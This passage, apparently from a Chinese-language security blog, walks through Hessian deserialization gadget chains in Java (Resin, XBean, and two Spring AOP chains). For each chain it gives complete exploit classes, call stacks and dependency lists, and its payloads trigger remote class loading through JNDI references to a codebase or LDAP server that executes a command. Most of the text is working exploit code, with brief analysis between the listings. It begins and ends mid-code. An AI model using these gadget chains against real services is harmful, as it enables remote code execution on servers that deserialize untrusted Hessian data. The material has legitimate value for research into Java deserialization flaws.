Object node2 = nodeCC.newInstance(1, hashtable2, \"test\", null);\n        Object tbl = Array.newInstance(nodeC, 2);\n        System.out.println(tbl);\n        Array.set(tbl, 0, node1);\n        Array.set(tbl, 1, node2);\n        setFieldValue(hashMap, \"table\", tbl);\n        setFieldValue(hashMap, \"size\", 2);\n\n        \/\/ \u5e8f\u5217\u5316\n        SerializerFactory serializerFactory = new SerializerFactory();\n        serializerFactory.setAllowNonSerializable(true);\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        HessianOutput ho = new HessianOutput(baos);\n        ho.setSerializerFactory(serializerFactory);\n        ho.writeObject(hashMap);\n        \/\/ \u53cd\u5e8f\u5217\u5316\n        Object o = new HessianInput(new ByteArrayInputStream(baos.toByteArray())).readObject();\n\n        Class.forName(\"com.example.test\").newInstance();\n    }\n\n}<\/code><\/pre>\n<h2>Resin\u94fe\uff1a<\/h2>\n<p>\u7c7b\u4f3cjndi\uff0c\u8fdc\u7a0b\u7c7b\u52a0\u8f7d\uff0c<strong>\u628a\u4efb\u610f\u903b\u8f91\u5199\u8fdb\u7c7b\u521d\u59cb\u5316\u3001\u6784\u9020\u51fd\u6570\u6216\u00a0getObjectInstance()\u00a0\u91cc\uff0c\u5b9e\u4f8b\u5316\u7684\u65f6\u5019\u5c31\u89e6\u53d1\u6076\u610f\u903b\u8f91<\/strong><\/p>\n<p>\u8c03\u7528\u6808\uff1a<\/p>\n<pre><code>NamingManager.getObjectFactoryFromReference() (javax.naming.spi)\nNamingManager.getObjectInstance() (javax.naming.spi)\nNamingManager.getContext() (javax.naming.spi)\nContinuationContext.getTargetContext() (javax.naming.spi)\nContinuationContext.composeName() (javax.naming.spi)  \nQName.toString() (com.caucho.naming)  \nXString.equals() (com.sun.org.apache.xpath.internal.objects)\nHashMap.putVal()\nHashMap.put()\nMapDeserializer.readMap()\nSerializerFactory.readMap()\nHessian2Input.readObject()\n<\/code><\/pre>\n<p>exp\uff1a<\/p>\n<pre><code>package com.example;\n\nimport com.caucho.hessian.io.HessianInput;\nimport com.caucho.hessian.io.HessianOutput;\nimport com.caucho.hessian.io.SerializerFactory;\nimport com.caucho.naming.QName;\nimport com.sun.org.apache.xpath.internal.objects.XString;\nimport javax.enterprise.inject.New;\nimport javax.naming.CannotProceedException;\nimport javax.naming.Context;\nimport javax.naming.Reference;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Hashtable;\n\n\/**\n * NamingManager.getObjectFactoryFromReference() (javax.naming.spi)\n * NamingManager.getObjectInstance() (javax.naming.spi)\n * NamingManager.getContext() (javax.naming.spi)\n * ContinuationContext.getTargetContext() (javax.naming.spi)\n * ContinuationContext.composeName() (javax.naming.spi)\n * QName.toString() (com.caucho.naming)\n * XString.equals() (com.sun.org.apache.xpath.internal.objects)\n * HashMap.putVal()\n * HashMap.put()\n * MapDeserializer.readMap()\n * SerializerFactory.readMap()\n * HessianInput.readObject()\n *\/\npublic class HessianResin {\n\n    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{\n        Field field = null;\n        Class clazz = obj.getClass();\n        while (field == null) {\n            try {\n                field = clazz.getDeclaredField(fieldName);\n            }catch (NoSuchFieldException e){\n                clazz = clazz.getSuperclass();\n            }\n        }\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n    public static String unhash ( int hash ) {\n        int target = hash;\n        StringBuilder answer = new StringBuilder();\n        if ( target &lt; 0 ) {\n            \/\/ String with hash of Integer.MIN_VALUE, 0x80000000\n            answer.append(\"\\u0915\\u0009\\u001e\\u000c\\u0002\");\n\n            if ( target == Integer.MIN_VALUE )\n                return answer.toString();\n            \/\/ Find target without sign bit set\n            target = target &amp; Integer.MAX_VALUE;\n        }\n\n        unhash0(answer, target);\n        return answer.toString();\n    }\n    private static void unhash0 ( StringBuilder partial, int target ) {\n        int div = target \/ 31;\n        int rem = target % 31;\n\n        if ( div &lt;= Character.MAX_VALUE ) {\n            if ( div != 0 )\n                partial.append((char) div);\n            partial.append((char) rem);\n        }\n        else {\n            unhash0(partial, div);\n            partial.append((char) rem);\n        }\n    }\n    public static void main(String[] args) throws  Exception{\n        System.setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\");\n        System.setProperty(\"com.sun.jndi.rmi.object.trustURLCodebase\", \"true\");\n\n        String codebase = \"http:\/\/127.0.0.1:8000\/\";\n        String factoryName = \"test\";\n        Reference ref = new Reference(\"test\", factoryName, codebase);\n        CannotProceedException cpe = new CannotProceedException();\n        setFieldValue(cpe,\"resolvedObj\", ref);\n        Class&lt;?&gt; clazz = Class.forName(\"javax.naming.spi.ContinuationContext\");\n        Constructor&lt;?&gt; constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);\n        constructor.setAccessible(true);\n        Object o = constructor.newInstance(cpe, new Hashtable&lt;&gt;());\n        Context context = (Context) o;\n        QName qName = new QName(context, \"test\",\"test1\");\n        \/\/        qName.toString();\n        String s = unhash(qName.hashCode());\n        XString xString = new XString(s);\n        \/\/        xString.equals(qName);\n        HashMap&lt;Object, Object&gt; hashMap = new HashMap&lt;&gt;();\n        \/\/        hashMap.put(qName, \"test\");\n        \/\/        System.out.println(hashMap);\n        \/\/        hashMap.put(xString, \"test\");\n        Class nodeC = null;\n        try{\n            nodeC = Class.forName(\"java.util.HashMap$Node\");\n        }catch (ClassNotFoundException e){\n            nodeC = Class.forName(\"java.util.HashMap$Entry\");\n        }\n        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);\n        nodeCC.setAccessible(true);\n        Object qNaNode = nodeCC.newInstance(0, qName, \"test\", null);\n        Object xStrNode = nodeCC.newInstance(1, xString, \"test\", null);\n        Object tbl = Array.newInstance(nodeC, 2);\n        Array.set(tbl, 0, qNaNode);\n        Array.set(tbl, 1, xStrNode);\n        setFieldValue(hashMap, \"table\", tbl);\n        setFieldValue(hashMap, \"size\", 2);\n\n        \/\/ \u5e8f\u5217\u5316\n        SerializerFactory serializerFactory = new SerializerFactory();\n        serializerFactory.setAllowNonSerializable(true);\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        HessianOutput ho = new HessianOutput(baos);\n        ho.setSerializerFactory(serializerFactory);\n        ho.writeObject(hashMap);\n\n        \/\/ \u53cd\u5e8f\u5217\u5316\n        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\n        Object o1 = new HessianInput(bais).readObject();\n        System.out.println(o1);\n\n    }\n}\n<\/code><\/pre>\n<p>\u8bbe\u7f6e\u54c8\u5e0c\u76f8\u540c\u7b97\u6cd5\uff1a<\/p>\n<pre><code>    public static String unhash ( int hash ) {\n        int target = hash;\n        StringBuilder answer = new StringBuilder();\n        if ( target &lt; 0 ) {\n            \/\/ String with hash of Integer.MIN_VALUE, 0x80000000\n            answer.append(\"\\u0915\\u0009\\u001e\\u000c\\u0002\");\n\n            if ( target == Integer.MIN_VALUE )\n                return answer.toString();\n            \/\/ Find target without sign bit set\n            target = target &amp; Integer.MAX_VALUE;\n        }\n\n        unhash0(answer, target);\n        return answer.toString();\n    }\n    private static void unhash0 ( StringBuilder partial, int target ) {\n        int div = target \/ 31;\n        int rem = target % 31;\n\n        if ( div &lt;= Character.MAX_VALUE ) {\n            if ( div != 0 )\n                partial.append((char) div);\n            partial.append((char) rem);\n        }\n        else {\n            unhash0(partial, div);\n            partial.append((char) rem);\n        }\n    }<\/code><\/pre>\n<p>\u8fd9\u6837\u4fdd\u8bc1<code>xString.hashCode() == qName.hashCode()<\/code>\uff0c\u8fdb\u800c\u8c03\u7528<code>xString.equals(qName)<\/code><\/p>\n<p>\u5173\u4e8e\u4e3a\u4ec0\u4e48\u662f<code>xString.equals(qName)<\/code>\u800c\u4e0d\u662f<code>qName.equals(xString)<\/code>\uff1aHashMap\u00a0\u904d\u5386 entry \u65f6\uff0c\u901a\u5e38\u6309 table \u6570\u7ec4\u4e0b\u6807\u4ece\u5c0f\u5230\u5927\u626b\uff0c\u5982\u679ca\u5148\u626b\u7136\u540e\u518d\u626bb\uff0c\u53d1\u73b0a\uff0cb\u54c8\u5e0c\u76f8\u540c\u5c31\u4f1a\u8c03\u7528<code>b.equals(a)<\/code>\u3002<\/p>\n<p>\u6240\u4ee5\u4e0b\u9762\u7684\u4ee3\u7801\u7528\u7d22\u5f15\u8bbe\u7f6e\u63d2\u5165\u987a\u5e8f\uff1a<\/p>\n<pre><code>Array.set(tbl, 0, qNaNode);\nArray.set(tbl, 1, xStrNode);<\/code><\/pre>\n<h2>XBean\u94fe<\/h2>\n<h3>pom.xml<\/h3>\n<pre><code>&lt;project xmlns=\"http:\/\/maven.apache.org\/POM\/4.0.0\"\n         xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\"\n         xsi:schemaLocation=\"http:\/\/maven.apache.org\/POM\/4.0.0 http:\/\/maven.apache.org\/xsd\/maven-4.0.0.xsd\"&gt;\n    &lt;modelVersion&gt;4.0.0&lt;\/modelVersion&gt;\n    &lt;groupId&gt;demo&lt;\/groupId&gt;\n    &lt;artifactId&gt;hessian-trace-lab&lt;\/artifactId&gt;\n    &lt;version&gt;1.0-SNAPSHOT&lt;\/version&gt;\n\n    &lt;properties&gt;\n        &lt;maven.compiler.source&gt;8&lt;\/maven.compiler.source&gt;\n        &lt;maven.compiler.target&gt;8&lt;\/maven.compiler.target&gt;\n        &lt;project.build.sourceEncoding&gt;UTF-8&lt;\/project.build.sourceEncoding&gt;\n    &lt;\/properties&gt;\n\n    &lt;dependencies&gt;\n        &lt;!-- 1. \u6838\u5fc3\uff1aHessian \u5e8f\u5217\u5316\u5e93 (\u5fc5\u987b\u6dfb\u52a0) --&gt;\n        &lt;dependency&gt;\n            &lt;groupId&gt;com.caucho&lt;\/groupId&gt;\n            &lt;artifactId&gt;hessian&lt;\/artifactId&gt;\n            &lt;version&gt;4.0.63&lt;\/version&gt;\n        &lt;\/dependency&gt;\n\n        &lt;!-- 2. Gadget: Spring AOP (\u7528\u4e8e HotSwappableTargetSource) --&gt;\n        &lt;dependency&gt;\n            &lt;groupId&gt;org.springframework&lt;\/groupId&gt;\n            &lt;artifactId&gt;spring-aop&lt;\/artifactId&gt;\n            &lt;version&gt;4.3.7.RELEASE&lt;\/version&gt;\n        &lt;\/dependency&gt;\n\n        &lt;!-- 3. Gadget: XBean Naming (\u7528\u4e8e ContextUtil JNDI\u89e6\u53d1) --&gt;\n        &lt;dependency&gt;\n            &lt;groupId&gt;org.apache.xbean&lt;\/groupId&gt;\n            &lt;artifactId&gt;xbean-naming&lt;\/artifactId&gt;\n            &lt;version&gt;4.5&lt;\/version&gt;\n        &lt;\/dependency&gt;\n\n        &lt;!-- 4. \u53ef\u9009\u4f46\u63a8\u8350\uff1aSpring Core (\u9632\u6b62\u8fd0\u884c\u65f6\u7f3a\u7c7b\u62a5\u9519) --&gt;\n        &lt;dependency&gt;\n            &lt;groupId&gt;org.springframework&lt;\/groupId&gt;\n            &lt;artifactId&gt;spring-core&lt;\/artifactId&gt;\n            &lt;version&gt;4.3.7.RELEASE&lt;\/version&gt;\n        &lt;\/dependency&gt;\n    &lt;\/dependencies&gt;\n&lt;\/project&gt;<\/code><\/pre>\n<h3>\u8c03\u7528\u6808\uff1a<\/h3>\n<pre><code>loadClass:61, VersionHelper12 (com.sun.naming.internal)\ngetObjectFactoryFromReference:146, NamingManager (javax.naming.spi)\ngetObjectInstance:319, NamingManager (javax.naming.spi)\nresolve:73, ContextUtil (org.apache.xbean.naming.context)\ngetObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)\ntoString:192, Binding (javax.naming)\nequals:392, XString (com.sun.org.apache.xpath.internal.objects)\nequals:104, HotSwappableTargetSource (org.springframework.aop.target)\nputVal:634, HashMap (java.util)\nput:611, HashMap (java.util)\n<\/code><\/pre>\n<h3>exp\uff1a<\/h3>\n<pre><code>package com.example;\n\nimport com.caucho.hessian.io.HessianInput;\nimport com.caucho.hessian.io.HessianOutput;\nimport com.caucho.hessian.io.SerializerFactory;\nimport com.sun.org.apache.xpath.internal.objects.XString;\nimport org.apache.xbean.naming.context.ContextUtil;\nimport org.apache.xbean.naming.context.WritableContext;\nimport org.springframework.aop.target.HotSwappableTargetSource;\nimport javax.naming.Reference;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\n\n\/**\n * loadClass:61, VersionHelper12 (com.sun.naming.internal)\n * getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)\n * getObjectInstance:319, NamingManager (javax.naming.spi)\n * resolve:73, ContextUtil (org.apache.xbean.naming.context)\n * getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)\n * toString:192, Binding (javax.naming)\n * equals:392, XString (com.sun.org.apache.xpath.internal.objects)\n * equals:104, HotSwappableTargetSource (org.springframework.aop.target)\n * putVal:634, HashMap (java.util)\n * put:611, HashMap (java.util)\n *\/\n\npublic class ObjectTest {\n    public static void main(String[] args) throws Exception {\n        System.setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\");\n        System.setProperty(\"com.sun.jndi.rmi.object.trustURLCodebase\", \"true\");\n        String codeBase = \"http:\/\/127.0.0.1:8180\/\";\n        String factoryName = \"Evil\";\n        Reference ref = new Reference(factoryName, factoryName, codeBase);\n        WritableContext writableContext = new WritableContext();\n        ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding(\"Evil\",ref,writableContext );\n        XString xString = new XString(\"aaa\");\n        HotSwappableTargetSource xstr = new HotSwappableTargetSource(xString);\n        HotSwappableTargetSource read = new HotSwappableTargetSource(readOnlyBinding);\n        HashMap&lt;Object, Object&gt; hashMap = new HashMap&lt;&gt;();\n        Class nodeC;\n        try{\n            nodeC = Class.forName(\"java.util.HashMap$Node\");\n        }catch (ClassNotFoundException e){\n            nodeC = Class.forName(\"java.util.HashMap$Entry\");\n        }\n        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);\n        nodeCC.setAccessible(true);\n        Object node1 = nodeCC.newInstance(0, read, \"Evil\", null);\n        Object node2 = nodeCC.newInstance(1, xstr, \"Evil\", null);\n        Object tbl = Array.newInstance(nodeC, 2);\n        Array.set(tbl, 0, node1);\n        Array.set(tbl, 1, node2);\n        Field table = hashMap.getClass().getDeclaredField(\"table\");\n        table.setAccessible(true);\n        table.set(hashMap, tbl);\n        Field size = hashMap.getClass().getDeclaredField(\"size\");\n        size.setAccessible(true);\n        size.set(hashMap, 2);\n\n        \/\/ \u5e8f\u5217\u5316\n        SerializerFactory serializerFactory = new SerializerFactory();\n        serializerFactory.setAllowNonSerializable(true);\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        HessianOutput ho = new HessianOutput(baos);\n        ho.setSerializerFactory(serializerFactory);\n        ho.writeObject(hashMap);\n\n        \/\/ \u53cd\u5e8f\u5217\u5316\n        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\n        Object o = new HessianInput(bais).readObject();\n    }\n}<\/code><\/pre>\n<h3>\u94fe\u8def\u5206\u6790\uff1a<\/h3>\n<p>\u5230equals\u4e4b\u524d\u7684\u94fe\u8def\u5c31\u4e0d\u8bb2\u4e86\uff0c\u91cd\u590d\u4e86\uff0c\u53ea\u8bf4\u8bf4\u4e3a\u4ec0\u4e48\u7528HotSwappableTargetSource\u5c01\u88c5\uff1a<\/p>\n<pre><code>public int hashCode() {\n        return HotSwappableTargetSource.class.hashCode();\n    }<\/code><\/pre>\n<p>HotSwappableTargetSource\u7c7b\u7684hashCode\u65b9\u6cd5\u5728\u4e00\u4e2aJVM\u91cc\u9762\u62ff\u5230\u540c\u4e00\u4e2a HotSwappableTargetSource.class\u5b9e\u4f8b\uff0c\u6240\u4ee5\u6700\u540e\u7684\u8fd4\u56de\u503c\u603b\u662f\u4e00\u6837\u7684\u3002<\/p>\n<p>\u76f4\u63a5\u4ece\u8c03\u7528ContextUtil.ReadOnlyBinding.toString()\u5f00\u59cb\uff0c\u7531\u4e8e\u8fd9\u4e2a\u7c7b\u6ca1\u6709\u91cd\u5199\u5b83\u7684toSting\u65b9\u6cd5\uff0c\u6240\u4ee5\u5411\u5b83\u7684\u7236\u7c7bBinding\u8c03\u7528\u3002<\/p>\n<pre><code>public String toString() {\n        return super.toString() + \":\" + getObject();\n    }<\/code><\/pre>\n<p>\u8fd9\u91cc getObject()\u865a\u65b9\u6cd5\u8c03\u7528\u56deReadOnlyBinding\uff0c\u5373\u8c03\u7528ReadOnlyBinding.getObject()\u3002<\/p>\n<pre><code>        public Object getObject() {\n            try {\n                return resolve(value, getName(), null, context);\n            } catch (NamingException e) {\n                throw new RuntimeException(e);\n            }\n        }\n<\/code><\/pre>\n<p>\u8fd9\u91cc\u8c03\u7528ContextUtil.resolve()\u65b9\u6cd5<\/p>\n<pre><code>    public static Object resolve(Object value, String stringName, Name parsedName, Context nameCtx) throws NamingException {\n        if (!(value instanceof Reference)) {\n            return value;\n        }\n\n        Reference reference = (Reference) value;\n\n        \/\/ for SimpleReference we can just call the getContext method\n        if (reference instanceof SimpleReference) {\n            try {\n                return ((SimpleReference) reference).getContent();\n            } catch (NamingException e) {\n                throw e;\n            } catch (Exception e) {\n                throw (NamingException) new NamingException(\"Could not look up : \" + stringName == null? parsedName.toString(): stringName).initCause(e);\n            }\n        }\n\n        \/\/ for normal References we have to do it the slow way\n        try {\n            if (parsedName == null) {\n                parsedName = NAME_PARSER.parse(stringName);\n            }\n            return NamingManager.getObjectInstance(reference, parsedName, nameCtx, nameCtx.getEnvironment());\n        } catch (NamingException e) {\n            throw e;\n        } catch (Exception e) {\n            throw (NamingException) new NamingException(\"Could not look up : \" + stringName == null? parsedName.toString(): stringName).initCause(e);\n        }\n    }<\/code><\/pre>\n<p>\u8c03\u7528NamingManager.getObjectInstance() -&gt; NamingManager.getObjectFactoryFromReference \u89e6\u53d1\u6076\u610f\u7c7b\u52a0\u8f7d\uff1a<\/p>\n<pre><code>    getObjectInstance(Object refInfo, Name name, Context nameCtx,\n                          Hashtable&lt;?,?&gt; environment)\n        throws Exception\n    {\n\n        ObjectFactory factory;\n\n        \/\/ Use builder if installed\n        ObjectFactoryBuilder builder = getObjectFactoryBuilder();\n        if (builder != null) {\n            \/\/ builder must return non-null factory\n            factory = builder.createObjectFactory(refInfo, environment);\n            return factory.getObjectInstance(refInfo, name, nameCtx,\n                environment);\n        }\n\n        \/\/ Use reference if possible\n        Reference ref = null;\n        if (refInfo instanceof Reference) {\n            ref = (Reference) refInfo;\n        } else if (refInfo instanceof Referenceable) {\n            ref = ((Referenceable)(refInfo)).getReference();\n        }\n\n        Object answer;\n\n        if (ref != null) {\n            String f = ref.getFactoryClassName();\n            if (f != null) {\n                \/\/ if reference identifies a factory, use exclusively\n\n                factory = getObjectFactoryFromReference(ref, f);\n                if (factory != null) {\n                    return factory.getObjectInstance(ref, name, nameCtx,\n                                                     environment);\n                }\n                \/\/ No factory found, so return original refInfo.\n                \/\/ Will reach this point if factory class is not in\n                \/\/ class path and reference does not contain a URL for it\n                return refInfo;\n\n            } else {\n                \/\/ if reference has no factory, check for addresses\n                \/\/ containing URLs\n\n                answer = processURLAddrs(ref, name, nameCtx, environment);\n                if (answer != null) {\n                    return answer;\n                }\n            }\n        }\n\n        \/\/ try using any specified factories\n        answer =\n            createObjectFromFactories(refInfo, name, nameCtx, environment);\n        return (answer != null) ? answer : refInfo;\n    }<\/code><\/pre>\n<h2>Spring PartiallyComparableAdvisorHolder\u94fe<\/h2>\n<h3>\u4f9d\u8d56\uff1a<\/h3>\n<pre><code>&lt;dependency&gt;\n    &lt;groupId&gt;org.springframework&lt;\/groupId&gt;\n    &lt;artifactId&gt;spring-context&lt;\/artifactId&gt;\n    &lt;version&gt;5.3.26&lt;\/version&gt;\n&lt;\/dependency&gt;\n&lt;dependency&gt;\n    &lt;groupId&gt;org.springframework&lt;\/groupId&gt;\n    &lt;artifactId&gt;spring-aop&lt;\/artifactId&gt;\n    &lt;version&gt;5.3.26&lt;\/version&gt;\n&lt;\/dependency&gt;\n&lt;dependency&gt;\n    &lt;groupId&gt;org.aspectj&lt;\/groupId&gt;\n    &lt;artifactId&gt;aspectjweaver&lt;\/artifactId&gt;\n    &lt;version&gt;1.9.22&lt;\/version&gt;\n&lt;\/dependency&gt;\n<\/code><\/pre>\n<h3>exp\uff1a<\/h3>\n<pre><code>package com.hessian.hessianspring.demos.hessian;\n\nimport com.caucho.hessian.io.HessianInput;\nimport com.caucho.hessian.io.HessianOutput;\nimport com.caucho.hessian.io.SerializerFactory;\nimport com.sun.org.apache.xpath.internal.objects.XString;\nimport org.springframework.aop.Advisor;\nimport org.springframework.aop.aspectj.AspectJAfterAdvice;\nimport org.springframework.aop.aspectj.AspectJPointcutAdvisor;\nimport org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;\nimport org.springframework.aop.target.HotSwappableTargetSource;\nimport org.springframework.jndi.support.SimpleJndiBeanFactory;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\n\n\/**\n * SimpleJndiBeanFactory.doGetType() (org.springframework.jndi.support)\n * SimpleJndiBeanFactory.getType() (org.springframework.jndi.support)\n * BeanFactoryAspectInstanceFactory.getOrder() (org.springframework.aop.aspectj.annotation)\n * AbstractAspectJAdvice.getOrder (org.springframework.aop.aspectj)\n * AspectJPointcutAdvisor.getOrder() (org.springframework.aop.aspectj)\n * AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString() (org.springframework.aop.aspectj.autoproxy)\n * XString.equals() (com.sun.org.apache.xpath.internal.objects)\n * HotSwappableTargetSource.equals()    (org.springframework.aop.target) \/\/\u53ef\u5ffd\u7565\n * HashMap.putVal()\n * HashMap.put()\n * MapDeserializer.readMap()\n * SerializerFactory.readMap()\n * Hessian2Input.readObject()\n *\/\n\npublic class SpringPartiallyComparableEXP {\n    public static Object createWithoutCons(String cls) throws Exception{\n        Class&lt;?&gt; clazz = Class.forName(cls);\n        Field unsafeField = sun.misc.Unsafe.class.getDeclaredField(\"theUnsafe\");\n        unsafeField.setAccessible(true);\n        sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null);\n        return unsafe.allocateInstance(clazz);\n    }\n    public static void setFiledValue(Object o,String filedname,Object value) throws Exception {\n        Field field = null;\n        try{\n            field = o.getClass().getDeclaredField(filedname);\n        }catch (NoSuchFieldException e){\n            field = o.getClass().getSuperclass().getDeclaredField(filedname);\n        }\n        field.setAccessible(true);\n        field.set(o,value);\n    }\n    public static void main(String[] args) throws Exception {\n        System.setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\");\n        System.setProperty(\"com.sun.jndi.rmi.object.trustURLCodebase\", \"true\");\n        String evilJndi = \"ldap:\/\/127.0.0.1:1389\/Basic\/Command\/Y2FsYw==\";\n        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();\n        simpleJndiBeanFactory.addShareableResource(evilJndi);\n        \/\/        BeanFactoryAspectInstanceFactory instanceFactory = new BeanFactoryAspectInstanceFactory(simpleJndiBeanFactory, evilJndi);\n        BeanFactoryAspectInstanceFactory instanceFactory = (BeanFactoryAspectInstanceFactory)createWithoutCons(\"org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory\");\n        setFiledValue(instanceFactory,\"beanFactory\",simpleJndiBeanFactory);\n        setFiledValue(instanceFactory,\"name\",evilJndi);\n\n        \/\/ \u5b9e\u4f8b\u5316\u62bd\u8c61\u7c7bAbstractAspectJAdvice\u7684\u5b50\u7c7bAspectJAfterAdvice\n        \/\/        AspectJAfterAdvice aspectJAfterAdvice = new AspectJAfterAdvice(null, null, instanceFactory);\n        AspectJAfterAdvice aspectJAfterAdvice = (AspectJAfterAdvice) createWithoutCons(\"org.springframework.aop.aspectj.AspectJAfterAdvice\");\n        setFiledValue(aspectJAfterAdvice,\"aspectInstanceFactory\",instanceFactory);\n        \/\/        AspectJPointcutAdvisor aspectJPointcutAdvisor = new AspectJPointcutAdvisor(aspectJAfterAdvice);\n        AspectJPointcutAdvisor aspectJPointcutAdvisor = (AspectJPointcutAdvisor) createWithoutCons(\"org.springframework.aop.aspectj.AspectJPointcutAdvisor\");\n        setFiledValue(aspectJPointcutAdvisor,\"advice\",aspectJAfterAdvice);\n        Class&lt;?&gt; clazz = Class.forName(\"org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder\");\n        Class&lt;?&gt; comparatorClass = Class.forName(\"java.util.Comparator\");\n        Constructor&lt;?&gt; constructor = clazz.getDeclaredConstructor(Advisor.class,comparatorClass);\n        constructor.setAccessible(true);\n        Object partiallyComparableAdvisorHolder = constructor.newInstance(aspectJPointcutAdvisor,null);\n        XString xString = new XString(\"1\");\n        \/\/        xString.equals(partiallyComparableAdvisorHolder);\n        HotSwappableTargetSource t1 = new HotSwappableTargetSource(partiallyComparableAdvisorHolder);\n        HotSwappableTargetSource t2 = new HotSwappableTargetSource(xString);\n        Class nodeC;\n        try {\n            nodeC = Class.forName(\"java.util.HashMap$Node\");\n        } catch (ClassNotFoundException e) {\n            nodeC = Class.forName(\"java.util.HashMap$Entry\");\n        }\n        HashMap hashMap = new HashMap();\n        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);\n        nodeCC.setAccessible(true);\n        Object node1 = nodeCC.newInstance(0, t1, \"t1\", null);\n        Object node2 = nodeCC.newInstance(1, t2, \"t2\", null);\n        Object tbl = Array.newInstance(nodeC, 2);\n        Array.set(tbl, 0, node1);\n        Array.set(tbl, 1, node2);\n        Field table = HashMap.class.getDeclaredField(\"table\");\n        table.setAccessible(true);\n        table.set(hashMap, tbl);\n        Field size = HashMap.class.getDeclaredField(\"size\");\n        size.setAccessible(true);\n        size.set(hashMap, 2);\n\n        \/\/ \u5e8f\u5217\u5316\n        SerializerFactory serializerFactory = new SerializerFactory();\n        serializerFactory.setAllowNonSerializable(true);\n        \/\/        FileOutputStream baos = new FileOutputStream(\"exp.bin\");\n        ByteArrayOutputStream baos = new ByteArrayOutputStream();\n        HessianOutput hout = new HessianOutput(baos);\n        hout.setSerializerFactory(serializerFactory);\n        hout.writeObject(hashMap);\n\n        \/\/ \u53cd\u5e8f\u5217\u5316\n        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\n        \/\/        FileInputStream bais = new FileInputStream(\"exp.bin\");\n        HessianInput hessianInput = new HessianInput(bais);\n        hessianInput.readObject();\n    }\n}\n<\/code><\/pre>\n<h3>\u90e8\u5206\u4ee3\u7801\u8bb2\u89e3\uff1a<\/h3>\n<pre><code>    public static Object createWithoutCons(String cls) throws Exception{\n        Class&lt;?&gt; clazz = Class.forName(cls);\n        Field unsafeField = sun.misc.Unsafe.class.getDeclaredField(\"theUnsafe\");\n        unsafeField.setAccessible(true);\n        sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null);\n        return unsafe.allocateInstance(clazz);\n    } <\/code><\/pre>\n<p>\u8fd9\u91cc\u7ed5\u8fc7\u6784\u9020\u5668\u5b9e\u4f8b\u5316\u7c7b\uff0c\u9632\u6b62\u63d0\u524d\u89e6\u53d1\u4ee3\u7801\u6216\u8c03\u7528super\u6784\u9020\u5668\u62a5\u9519\uff0c\u76f4\u63a5\u5206\u914d\u5185\u5b58\u5b9e\u73b0<\/p>\n<h2>Spring AbstractBeanFactoryPointcutAdvisor\u94fe<\/h2>\n<h3>\u4f9d\u8d56\uff1a<\/h3>\n<pre><code>&lt;dependency&gt;\n    &lt;groupId&gt;org.springframework&lt;\/groupId&gt;\n    &lt;artifactId&gt;spring-context&lt;\/artifactId&gt;\n    &lt;version&gt;5.3.26&lt;\/version&gt;\n&lt;\/dependency&gt;\n&lt;dependency&gt;\n    &lt;groupId&gt;org.springframework&lt;\/groupId&gt;\n    &lt;artifactId&gt;spring-aop&lt;\/artifactId&gt;\n    &lt;version&gt;5.3.26&lt;\/version&gt;\n&lt;\/dependency&gt;\n<\/code><\/pre>\n<h3>\u8c03\u7528\u6808\uff1a<\/h3>\n<pre><code>SimpleJndiBeanFactory.getBean() (org.springframework.jndi.support)\nAbstractBeanFactoryPointcutAdvisor.getAdvice()  (org.springframework.aop.support)\nAbstractPointcutAdvisor.equals()   (org.springframework.aop.support)\nHotSwappableTargetSource.equals()    (org.springframework.aop.target) \nHashMap.putVal()\nHashMap.put()\nMapDeserializer.readMap()\nSerializerFactory.readMap()\nHessian2Input.readObject()\n<\/code><\/pre>\n<h3>exp\uff1a<\/h3>\n<pre><code>package com.hessian.hessianspring.demos.hessian;\n\nimport com.caucho.hessian.io.HessianInput;\nimport com.caucho.hessian.io.HessianOutput;\nimport com.caucho.hessian.io.SerializerFactory;\nimport org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;\nimport org.springframework.aop.target.HotSwappableTargetSource;\nimport org.springframework.jndi.support.SimpleJndiBeanFactory;\nimport org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Constructor;\nimport 